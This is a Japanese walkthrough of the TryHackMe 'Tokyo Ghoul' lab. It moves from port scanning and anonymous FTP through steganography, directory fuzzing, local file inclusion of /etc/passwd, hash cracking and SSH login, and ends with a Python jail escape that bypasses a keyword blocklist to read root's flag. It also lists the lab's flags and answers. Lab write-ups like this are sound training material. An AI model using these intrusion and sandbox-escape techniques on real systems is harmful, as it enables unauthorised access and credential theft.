概要
TryHackMe「Tokyo Ghoul」のWalkthroughです。
Task2
Q2.How many ports are open ?
ポートスキャンを実行します。
$ nmap -Pn -T4 -sCV -p- 10.201.86.9 -oN nmap_result
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_drwxr-xr-x 3 ftp ftp 4096 Jan 23 2021 need_Help?
| ftp-syst:
| STAT:
| FTP server status:
| Connected to ::ffff:10.6.55.144
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 fa:9e:38:d3:95:df:55:ea:14:c9:49:d8:0a:61:db:5e (RSA)
| 256 ad:b7:a7:5e:36:cb:32:a0:90:90:8e:0b:98:30:8a:97 (ECDSA)
|_ 256 a2:a2:c8:14:96:c5:20:68:85:e5:41:d0:aa:53:8b:bd (ED25519)
80/tcp open http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Welcome To Tokyo goul
|_http-server-header: Apache/2.4.18 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
ポートの稼働状況が分かりました。
| ポート | サービス | バージョン |
|---|---|---|
| 21 | ftp | vsftpd 3.0.3 |
| 22 | ssh | OpenSSH 7.2p2 |
| 80 | http | Apache/2.4.18 |
A.3
Q3.What is the OS used ?
A.ubuntu
Task3
Q1.Did you find the note that the others ghouls gave you? where did you find it ?
Webのトップページにアクセスします。
jasonroom.htmlのリンクがあり、アクセスするとHTMLコメントを発見しました。
FTPにanonymous接続でき、そこに手掛かりがあるようです。
A.jasonroom.html
Q2.What is the key for Rize executable?
FTPにanonymous接続します。
$ ftp 10.201.86.9
Connected to 10.201.86.9.
220 (vsFTPd 3.0.3)
Name (10.201.86.9:kali): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
need_Help?ディレクトリから、Aogiri_tree.txtとTalk_with_meディレクトリを発見しました。
ftp> ls -la
229 Entering Extended Passive Mode (|||48031|)
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Jan 23 2021 .
drwxr-xr-x 3 ftp ftp 4096 Jan 23 2021 ..
drwxr-xr-x 3 ftp ftp 4096 Jan 23 2021 need_Help?
226 Directory send OK.
ftp> cd need_Help?
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||42828|)
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 Jan 23 2021 .
drwxr-xr-x 3 ftp ftp 4096 Jan 23 2021 ..
-rw-r--r-- 1 ftp ftp 480 Jan 23 2021 Aogiri_tree.txt
drwxr-xr-x 2 ftp ftp 4096 Jan 23 2021 Talk_with_me
226 Directory send OK.
Aogiri_tree.txtをダウンロードします。
ftp> get Aogiri_tree.txt
local: Aogiri_tree.txt remote: Aogiri_tree.txt
229 Entering Extended Passive Mode (|||40622|)
150 Opening BINARY mode data connection for Aogiri_tree.txt (480 bytes).
100% |************************************************************************| 480 13.07 MiB/s 00:00 ETA
226 Transfer complete.
480 bytes received in 00:00 (2.71 KiB/s)
Talk_with_meにはneed_to_talkとrize_and_kaneki.jpgがあります。
ftp> cd Talk_with_me
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||49951|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 Jan 23 2021 .
drwxr-xr-x 3 ftp ftp 4096 Jan 23 2021 ..
-rwxr-xr-x 1 ftp ftp 17488 Jan 23 2021 need_to_talk
-rw-r--r-- 1 ftp ftp 46674 Jan 23 2021 rize_and_kaneki.jpg
226 Directory send OK.
2つのファイルをダウンロードします。
ftp> mget *
mget need_to_talk [anpqy?]? y
229 Entering Extended Passive Mode (|||48436|)
150 Opening BINARY mode data connection for need_to_talk (17488 bytes).
100% |************************************************************************| 17488 98.21 KiB/s 00:00 ETA
226 Transfer complete.
17488 bytes received in 00:00 (49.12 KiB/s)
mget rize_and_kaneki.jpg [anpqy?]? y
229 Entering Extended Passive Mode (|||45372|)
150 Opening BINARY mode data connection for rize_and_kaneki.jpg (46674 bytes).
100% |************************************************************************| 46674 128.80 KiB/s 00:00 ETA
226 Transfer complete.
46674 bytes received in 00:00 (86.00 KiB/s)
ftp> exit
221 Goodbye.
need_to_talkを実行すると、パスフレーズが要求されます。
$ ./need_to_talk
Hey Kaneki finnaly you want to talk
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?
> pass
Hmm. I don't think this is what I was looking for.
Take a look inside of me. rabin2 -z
stringsコマンドで文字列を見ると、kamishiroという文字列を発見しました。
$ strings ./need_to_talk
(中略)
kamishiro
Hey Kaneki finnaly you want to talk
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?
Good job. I believe this is what you came for:
Hmm. I don't think this is what I was looking for.
Take a look inside of me. rabin2 -z
パスフレーズにkamishiroを入力すると、正解しました。
$ ./need_to_talk
Hey Kaneki finnaly you want to talk
Unfortunately before I can give you the kagune you need to give me the paraphrase
Do you have what I'm looking for?
> kamishiro
Good job. I believe this is what you came for:
You_found_1t
A.kamishiro
Task4
Q1.What the message mean did you understand it ? what it says?
FTPからダウングレードしたrize_and_kaneki.jpgに、ファイルが隠されている可能性がありますが、パスフレーズでブロックされます。
$ steghide extract -sf rize_and_kaneki.jpg
Enter passphrase:
steghide: could not extract any data with that passphrase!
先ほど判明したパスフレーズkamishiroを使用すると、yougotme.txtを抽出できました。
$ steghide extract -sf rize_and_kaneki.jpg
Enter passphrase:
wrote extracted data to "yougotme.txt".
yougotme.txtの内容は、謎の文字列になっています。
$ cat yougotme.txt
haha you are so smart kaneki but can you talk my code
..... .-
....- ....-
....- -....
--... ----.
....- -..
...-- ..---
....- -..
...-- ...--
....- -..
....- ---..
....- .-
...-- .....
..... ---..
...-- ..---
....- .
-.... -.-.
-.... ..---
-.... .
..... ..---
-.... -.-.
-.... ...--
-.... --...
...-- -..
...-- -..
if you can talk it allright you got my secret directory
CyberChefを使用し解読すると、d1r3c70ry_centerという文字列が分かりました。
A.d1r3c70ry_center
Q4.what is rize username ?
復元した文字列のディレクトリパスにアクセスすると、Webページが用意されています。
/d1r3c70ry_center配下をディレクトリスキャンし、/d1r3c70ry_center/claimがあると分かりました。
$ ffuf -w /usr/share/seclists/Discovery/Web-Content/directory-list-1.0.txt -u http://10.201.86.9/d1r3c70ry_center/FUZZ -recursion -recursion-depth 1 -ic -c
[Status: 200, Size: 312, Words: 21, Lines: 15, Duration: 174ms]
claim [Status: 301, Size: 327, Words: 20, Lines: 10, Duration: 183ms]
/d1r3c70ry_center/claim/にアクセスすると、さらにWebページが表示されました。
NOかYESのボタンをクリックすると、index.phpのページに遷移し、パラメータの内容からLFIが出来そうです。
/d1r3c70ry_center/claim/index.php?view=flower.gif
Intruderを使用しLFIのペイロードを実行します。
LFIに成功し、/etc/passwdの内容を閲覧出来ました。
/etc/passwdの内容を見ていくと、kamishiroのアカウントがあると分かり、パスワードのハッシュ値も分かりました。
A.kamishiro
Q5.what is rize password ?
パスワードのハッシュタイプは、SHA-512のようです。
$ hashid '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0'
Analyzing '$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0'
[+] SHA-512 Crypt
ハッシュ値を解析し、平文を特定できました。
$ hashcat -a 0 -m 1800 kamishiro_hash /usr/share/wordlists/rockyou.txt
$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:password123
A.password123
Task5
Q1.user.txt
Username: kamishiro、Password: password123でSSH接続に成功しました。
$ ssh kamishiro@10.201.86.9
kamishiro@vagrant:~$
ユーザーフラグを入手できました。
kamishiro@vagrant:~$ cat user.txt
e6215e25c0783eb4279693d9f073594a
A.e6215e25c0783eb4279693d9f073594a
Q2.root.txt
sudo -lで設定を確認すると、/home/kamishiro/jail.pyが設定されていると分かりました。
kamishiro@vagrant:~$ sudo -l
[sudo] password for kamishiro:
Matching Defaults entries for kamishiro on vagrant.vm:
env_reset, exempt_group=sudo, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User kamishiro may run the following commands on vagrant.vm:
(ALL) /usr/bin/python3 /home/kamishiro/jail.py
jail.pyに内容を確認します。
evalやexecなどのワードがフィルタリングされ、キーワードが含まれない場合にexec(text)でpythonのコードが実行されます。
#! /usr/bin/python3
#-*- coding:utf-8 -*-
def main():
print("Hi! Welcome to my world kaneki")
print("========================================================================")
print("What ? You gonna stand like a chicken ? fight me Kaneki")
text = input('>>> ')
for keyword in ['eval', 'exec', 'import', 'open', 'os', 'read', 'system', 'write']:
if keyword in text:
print("Do you think i will let you do this ??????")
return;
else:
exec(text)
print('No Kaneki you are so dead')
if __name__ == "__main__":
main()
まずimportが使用できないので、組み込み関数を確認します。
>>> print(dir(__builtins__))
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BlockingIOError', 'BrokenPipeError', 'BufferError', 'BytesWarning', 'ChildProcessError', 'ConnectionAbortedError', 'ConnectionError', 'ConnectionRefusedError', 'ConnectionResetError', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FileExistsError', 'FileNotFoundError', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'InterruptedError', 'IsADirectoryError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotADirectoryError', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'PermissionError', 'ProcessLookupError', 'RecursionError', 'ReferenceError', 'ResourceWarning', 'RuntimeError', 'RuntimeWarning', 'StopAsyncIteration', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'TimeoutError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '__build_class__', '__debug__', '__doc__', '__import__', '__loader__', '__name__', '__package__', '__spec__', 'abs', 'all', 'any', 'ascii', 'bin', 'bool', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'exec', 'exit', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'vars', 'zip']
今回はファイルの読み込みに、open関数を使用します。
ただ、open関数はプログラムのブラックリストに設定されています。
そこで、'OPEN'.lower()とします。
if分では大文字小文字が区別され、openとOPENが別のキーワードとなります。
なので、ブラックリスト内のopen文字列の比較を回避できます。
if keyword in text:
また、exec()の時に.lower()が解釈されるため、open関数として機能します。
exec(print(list(__builtins__.__dict__['OPEN'.lower()]('/root/root.txt'))))
ペイロードを実行し、ルートフラグを入手できました。
>>> print(list(__builtins__.__dict__['OPEN'.lower()]('/root/root.txt')))
['9d790bb87898ca66f724ab05a9e6000b\n']
No Kaneki you are so dead
A.9d790bb87898ca66f724ab05a9e6000b








